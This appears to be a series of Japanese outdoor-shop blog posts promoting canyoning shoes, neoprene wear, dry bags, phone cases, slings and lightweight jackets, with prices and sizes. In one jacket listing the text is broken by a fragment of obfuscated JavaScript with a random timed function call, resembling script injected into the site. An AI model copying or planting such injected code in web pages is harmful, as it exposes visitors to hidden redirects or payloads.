沢特集-3 「濡れた食パンほどまずい物は無い(泣」 防水パック編

沢特集第三弾は防水パックの紹介です。沢を始めたころは大した防水もできなくて濡れた食パンを食べたり濡れた靴を履いて下山したことも何度かありました・・・。
でも今はそんなこと全然ないです!ということで以下紹介。

P6221557左から順に
GRANITE GEAR:【event  SIL COMPRESSION DRYSACK】
[XS]10L @3,360 / [S]13L @3,675
[M]18L @3,990 / [L]25L @4,410
本体にシルナイロン、ボトムにe-vent、を使用した防水パック。優れた防水性と通気性があります。
コンプレッションコードもついてるのでシュラフケースに最適。まぁこれからの季節、沢にシュラフなんか持ってくかって言ったら持っていかないんですけどね。

GRANITE GEAR:【event SIL DRYSACK】
[XXS]7L @2,205 / [XS]10L @2,415 / [S]13L @2,730
[M]18L @3,255 / [L]25L @3,675
上のコンプレッションコードのないバージョン。僕は主に着替えを入れています。

SEA TO SUMMIT:【CompressionDry Sack 10L】 (NoImage) @2,940
ボトムにe-ventを使用した防水パック。コンプレッションベルトもついている。GG社と違い、ベルトなので絡まりづらい。

SEA TO SUMMIT:【eVAC Dry Sack 35L】 @3,990
これも上と同じく、ボトムにe-ventを使用。コンプレッションベルトはついていない。

SEA TO SUMMIT:【Ultra-Sil Dry Sack】 (NoImage)
35L @3,360
SEA TO SUMMIT:【Ultra-Sil Pack Liner】(NoImage)
 [M]70L @4,305 / [L]90L @4,830
本体全部がシルナイロンで構成された防水パック。e-ventを使用した物と比べ通気性が無い為、コンプレッション能力は低い反面、防水能力が高いです。
使い方としては、70Lや90Lなどの大きな防水パックをザックに入れ、その中にさらに防水した着替えやシュラフ、下山用の靴を入れることをお勧めします。念には念をというのと、大きな浮き袋の意味もあります。

OUTDOOR RESEARCH:【Hydroseal Dry Sack】
[#2]12.7L @2,940 /  [#3]18.6L @3,150

今度は防水小物ケースです。スマホなんて使いませんって人には特に関係ない・・・かな?財布の代わりになります。あとはタバコケース・・・とか?
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左上から順に
SEAL LINE:【E-Case】
[S] @2,310 / [iPhone]@2940 /  [L]@2,835
スマホの大きさよって選べる三種類。iPhone用もあります。そういやiPhone5は縦長になるようなならないような・・・。そしたら入らないよなぁ・・・。
勿論ケース上からもタッチ可能です。

SEAL LINE:【See Pouch】 @1,260
これは防水の小物入れ。

LOKSAK:【aLOKSAK】
スマホ用(縦143mm×横80mm)三枚入り @788 
XS(縦163mm×横108mm)三枚入り @819
安価な防水ケース。これもケース上からタッチ可能。

HAGLOFS:【MOBILE POUCH】
@2,310 /  [Lsize]@2,940

次回で沢特集は最後!特集―2でちらっと出たザックを紹介!

沢特集-2 「沢は寒いから嫌だ!」沢用ウェア全般編

沢で着るものは大体決まっています。
1.ジャージ 2.山用ズボン+ポロシャツ 3.高機能ウェアの三タイプです。
で、今回紹介するのは勿論1のジャージ!・・・ではなく3の高機能ウェアとなりますがまーこれが違う。ということで以下紹介。

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ファイントラック:【フラッドラッシュ スキンメッシュ】
長袖 @4,725 半袖 @4,200
知る人ぞ知る、の時代は過ぎたもののまだまだ完全普及はしていない感じのスーパーウェア。
濡れ戻りがほぼ無い為滝に打たれた後でも寒くない!沢屋としては超画期的アイテムの一つ。

・・・と沢登り歴4年の僕が言ったところで何の説得力もないですが、少なくともこれを使い始めてから沢で寒いと思ったことは数えるほどしかないのでこれはきっとすごい!!

ファイントラック:【フラッドラッシュ ラピット】
ジャケット @11.025 ジップネック @12,025

優れた撥水能力を持ったウォータースポーツ向けのジャケット。ウェットスーツほどの保温性は無いし、ドライスーツほどの防水性は無い。
けれどもいずれより軽いし、ストレッチする。排水力も高いからすぐ乾く。沢登り用の服の理想に近いと言っても過言ではないでしょう。

・・・と沢登り歴4年の(以下省略)

モンベル:【ライトネオプレン タイツ】 @8,800
サイズ/S、M、L (男女兼用)
ハイバックデザインの為、前屈姿勢でも腰が出にくい。
ウエストはドローコードで調整可能。膝の部分は摩耗を軽減するニーパッドをも設けています。
泳ぎが多い沢では、これがあるのとないのとでの疲弊具合は面白いくらい違います。っていうか必携ですね。
 

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キャラバン:【渓流スパッツ】 @4,095
S(ふくらはぎ回り実寸/32cm、高さ/33cm)
M(ふくらはぎ回り実寸/33.5cm、高さ/35cm)
L(ふくらはぎ回り実寸/35cm、高さ/37cm)

キャラバン:【渓流ソックス】
厚手(3mm厚) @2,940 薄手(1mm厚) @2,940
S(22.5~24.0cm) M(24.5cm~26.0cm) L(26.5cm~28.0cm)

プロモンテ:【沢グローブ】 @2,625
XS、S、M、L

ネオプレーン+人工比皮で、かなりのグリップ力!!
ベルクロの切り込みが深いので濡れても着脱が容易。
ハーフフィンガーなのでクライミング時、高巻きブッシュ、水温が低い沢などには必需品。

次回、沢特集‐3は濡れたパンを食べない為の防水パック紹介となります。

沢特集-1 「沢靴やってます。」沢靴編

最近、某登山雑誌では沢登りの特集をやっていますが最近流行ってるんですか?沢登り。もしくはこれから流行らせようという魂胆なのでしょうか?よくわかりませんが我が探検部の今年の入部者数は史上初の0人を記録。まぁバラ色の大学生活を探検部なんかに入って土色にするのはもったいないですからね・・・。みんな頭よくなっちゃってさ・・・。けっ。みんなもっと沢登り界を盛り上げていきましょう!!

R5261610画像左から
■Caravan 【渓流 丹沢】 (10mmPPフェルトソール)
@9,975
サイズ22.5~27.5cm

■Caravan 【渓流 柳又アクア】 (アクアステルスラバーソール)
@15,225→@12,941
サイズ/23cm、24~26.5cm、27.5cm

■Caravan 【渓流 柳又】(13mmPPブラックフェルトソール)
 @13,440→@11,424
サイズ22.5cm、23.5cm、24.5cm

■5.10 【ウォーターテニー】 (アクアステルスラバーソール)
@11,550
サイズ25~27.5cm

ラバーソールとフェルトソールの大まかな特性は↓
●登攀要素が多い沢
ラバー>フェルト
●ヌメリや苔むした沢
ラバー<フェルト ●ソールの寿命(摩耗) ラバー>フェルト

ちなみに「サワタビ」、「わらじ」もあります。

そして、沢靴に装着するチェーンアイゼン!
泥の急傾斜高巻き、雪渓のつめなど沢のルートによってはあると便利。
■snowline【チェーンアイゼン ライト】
@5,460
サイズ/M(23.0cm~26.0cm) L(25.5cm~28.0cm)
e-5-sl001-2

スパイク部はステンレス、バンド部エラストマー性。
こちらの商品はデナリネットショップで購入可能です。こちらをクリック!

沢上りは冷たい水の中を歩いたり泳いだりしますので、ネオプレーンのソックス、スパッツ、タイツ、ウェアなどを水量や時期によって選択します。
詳しくは次回「沢特集-2」で!!

こーゆのが・・・最新鋭

昨日アップしたこーゆのは(でなりらぼ)の続き?
アフリカ遠征中のオーナーに代わり、最新鋭スリングの紹介です。

■べアール【6mm ダイニーマスリング】
●60cm @840 ●120cm @1,365  ●180cm @1,890
IMGP0005

■マムート【コンタクトスリングダイニーマ 8mm 】
●30cm @1,260 ●60cm @1,680 ●120cm @2,415 ●240cm @3,885
IMGP0006

■ブラックダイヤモンド【10mm ダイネックスランナー】
●30cm @630 ●60cm @945 ●120cm @1,575
IMGP0007

今回紹介した商品6mm、8mm、10mmはどれも強度が22kN。細くても強度は抜群なのです。
「ゲンダイ」のスリングはカルクてジョウブでカサバラナイのです。

DENALI NET SHOP スリングコーナー」へGO!!

バイザー各メーカー揃ってます!!

 ついに関東甲信越も梅雨入りしましたがみなさん、いかがお過ごしでしょうか。私は相変わらず沢ばかり登ってます。が、太陽光の届かないジメジメした丹沢、奥多摩のあの雰囲気はいつになっても好きになれません。やっぱり上信越の明るい沢がいいですよね。早く梅雨明けしないかなー。

 今回はバイザーの紹介ですが、バイザーはキャップとは違って解放感があっていいですよね。ちょっとマイナーなジャンルですが、使ってみると意外と良かったりします。

以下一部抜粋。
ぜひ店頭で見てみてください。

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ペラペラジャケット特集第三弾!!!

ということで最後はパタゴニア、サレワ、ロウアルパインの三メーカーです。

patagonia
【HOUDINI FULL-ZIP JKT】M’s&W’s
@17,850
収納タイプはポケッタブル。
c-w12-pa001-3

今回紹介するなかで、一番シンプルであった。
透湿性もある。収納後も一番小さくなった。

 

SALEWA
【BLACK CANYON JKT】M’s
@11,550

収納タイプはポケッタブル。
c-m12-sa001-2
今回の変わり種と言っても過言ではないだろう。
まず目を引くのは謎の襟。とても高くなる。襟立て何某みたいになる。きっとフードをかぶった時のフィット感とかそういうのだと思うけど、面白い。
収納後はゴム紐によって体に巻くことができるのもまた面白い。
ただ、脱ぐ余裕があるならザックにしまえば?と思わなくも、無い。
背面にベンチレーション有り。
c-m12-sa001-3

 
Lowe alpine
【LIGHT FLIGHT HOODY】M’s
@10,500

収納タイプは付属スタッフバック。
c-m12-lo001-2

腕の付け根部分(前後)に小さなベンチレーションが六つあり通気性を考えてある。
ポケットは表に三つある。
c-m12-lo001-3

まとめに今回紹介した物の収納時比較をしてみました。
左から、紹介した順に並べてあります。 R5261609

i-pod、成人男性の右手を比較対象としてください。

梅雨~秋にかけて、山ではもちろんのこと。タウンでも急な雨、夜風の冷たさ、通勤電車やオフィスの冷房から体を守ってくれます。バックに一つ忍ばせてみては?超軽量&コンパクトなハイスペックジャケットを。

以上3点の商品詳細はデナリネットショップの【ウィンドブレーカー(ペラペラ)】コーナーへGO!!

ペラペラジャケット特集第二弾!

今回はマムートです。
素材はいずれも自社製のVENtech。透湿性が売りです。
VENtech
 
【WingHalf-Zip Jacket】M’s
@15,750

収納タイプはポケッタブル。
c-m12-ma001-2

プルオーバータイプのジャケット。
フードをロールアップして固定することができ、未使用時のばたつきが防げるようになっています。
裾はドローコードで絞り可能。
裁断の関係で収納時の形がいびつに。最初はゾウの形を意識したのかと思いました。いや、よく見たら見えなくもぉ・・・無かったです。
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【Salober Jacket】M’s&W’s
@15,750

収納タイプはポケッタブル。
c-w12-ma001-2

フードはドローコードで調整が可能です。
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以上2点の商品詳細はデナリネットショップの【ウィンドブレーカー(ペラペラ)】コーナーへGO!!

ペラペラジャケット特集第一弾!

 まず、ペラペラジャケットとは超軽量コンパクトなジャケットでちょっと肌寒い時の上着として便利なチョイ足し的な存在である。ウィンドブレーカーとしての山での使用は勿論、屋内でも冷房が効きすぎって時にも使えます。
 収納タイプは二種類あって、一つは付属のスタッフバックに収納するタイプ。もう一つはジャケットのポケットに収納できるポケッタブルタイプ。これはドラえもんが自分の四次元ポケットに入るのを想像してもらいたい。
 以下、新商品の紹介。最初はモンチュラから。いずれも『SCafe』というコーヒー豆の出がらしを使用した繊維を使用していて防臭作用とUVカット効果がある。

【ZEPHYROS JACKET】M’s&W’s
@19,425

収納タイプは付属スタッフバック。
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素材は自社製の『WIND PROOF SUPER LIGHT』を使用。
フードも襟に収納可能。胴部は内側にメッシュが張られていて汗をかいてもぺトペトしなさそう。ポケットは表に二つ、裏に一つ。

c-w12-mo002-100

男性物のカラーは黄緑、黒の2色、女性物は黄緑、ローズの2色。

 
【FLY JACKET】 M’s&W’s
@29,925

収納タイプはポケッタブル。
c-w12-mo001-2
『GORE-TEX WIND STOPER ActiveShell』を使用。
ストレッチ性があり、フードの密着度が高く、簡易的なサムホールもある為トレイルランニングでの使用にとても適している。
c-m12-mo001-100

男性物のカラーは青、緑、黒の3色、女性物はローズの1色。

以上2点の商品詳細はデナリネットショップの【ウィンドブレーカー(ペラペラ)】コーナーへGO!!

【新素材】GORE-TEX ActiveShell 登場!!

昨今、多くのメーカーが優秀な独自素材を開発し、『雨具と言えばゴアテックス』そんなゴアテックス神話が崩れようとしている。
勿論、ゴアテックス社もそれを黙って見ているいるわけがない。他社が努力したらそれ以上努力するのが、今まで防水透湿素材界をリードしてきた開発者と言うものだ。そんな中、業界トップの意地とプライドを賭けて完成したのが『GORE-TEX ActiveShell』である。

説明しよう!
ActiveSell(あくてぃぶしぇる)とは軽量化と透湿性を追求し、それに伴う耐久性や着心地の低下をギリギリにまで抑えたゴアテックス社の新素材の事である。
重量半分、透湿倍!!

使用例としては、トレイルランニングやスピードクライミングなど装備の軽量化や防寒を目的として積極的に使用する場合。もしくは通常のトレッキングで、天気予報は晴れだけれど、流石に雨具を持っていかないのはマズイよなぁって時のちょっとしたお守り感覚でもおすすめである。
以前の軽量素材を謳ったPacliteShellと違い、裏地がツルツルでは無いから内側での結露の心配が無くなったのが大きな特徴だ。

そんなActiveShellを使用した新製品が、今期からゾクゾク登場。以下、新商品入荷の紹介。

■MONTURA 【ACTION JACKET】
@36,540
c-m1-mo005-1
■MONTURA【Magic G Jacket Woman】
@32,550
c-w1-mo003-1

■MAMMUT 【Shirko Jacket Men】
@47,250
c-m1-ma004-1

■MAMMUT 【Shira Jacket Women】
@47,250
c-w1-ma002-1

■MAMMUT 【Felsturm Halfzip Jacket Men】
@59,850
c-m1-ma005-1

■MILLET 【TRILOGY GTX JKT】
@47,250
c-m1-mi005-1

■MOUNTAIN EQUIPMENT 【FIREFOX JACKET】 M’s andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and W’s
M’s@42,000 / W’s@39,900
c-w1-me001-1
各商品の詳細スペック、カラーはデナリネットショップ「トップス(ハードシェル)」へ→

これから本格的にシーズンインしていくがくれぐれも安易な気持ちで入山しないでほしい。求めればいくらでもいい物が手に入る現代で、少しの出費を渋った為に命をおとすのは愚かである。

最後に登山者の安全を願い終わらせてもらう。

TC PRO 入荷!

スポルティバのクライミングシューズ『TC PRO』が入荷しました。
今ならEUR38~EUR42までハーフ刻みであります。
マルチに良し、クラックに良し、フェイスにも良しのマルチプレイヤーです。
各サイズ1足ずつしかありませんので、お求めのかたはお早めに!
もちろんネットでも購入可能@26,250です。
ネットショップへGO→

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